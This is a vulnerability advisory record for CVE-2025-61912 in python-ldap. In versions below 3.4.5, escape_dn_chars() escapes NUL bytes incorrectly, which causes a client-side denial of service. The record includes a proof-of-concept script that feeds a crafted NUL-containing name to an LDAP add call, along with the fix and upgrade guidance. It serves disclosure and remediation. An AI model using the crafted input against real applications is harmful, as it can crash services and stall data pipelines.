{"id":"CVE-2025-61912","aliases":["GHSA-p34h-wq7j-h5v6","PYSEC-2026-1846"],"title":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","summary":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","severity":"medium","vendor":"python-ldap","product":"python-ldap","ecosystem":"pip","affected":["python-ldap < 3.4.5"],"patched":["python-ldap 3.4.5"],"published":"2025-10-10","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:30.209082635Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-p34h-wq7j-h5v6","references":[{"url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-p34h-wq7j-h5v6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61912"},{"url":"https://github.com/python-ldap/python-ldap/commit/6ea80326a34ee6093219628d7690bced50c49a3f"},{"url":"https://github.com/python-ldap/python-ldap"},{"url":"https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5"}],"tags":["osv","pip"],"epss":0.00458,"epssPercentile":0.37081,"ingestedAt":"2026-07-08T18:25:51.497Z","slug":"CVE-2025-61912","body":"## Overview\n\n### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000')  # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\")              # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\")         \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=> add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n    l.add_s(dn, attrs)\n    print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n    print(\"add_s(buggy):\", type(e).__name__, e)  # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\")                 # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=> sanity parse:\", str2dn(safe_dn))           # parses locally\n\nprint(\"=> add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n    l.add_s(safe_dn, attrs)\n    print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n    print(\"add_s(safe):\", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.\n\n## Affected packages\n\n- `python-ldap < 3.4.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `python-ldap 3.4.5`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}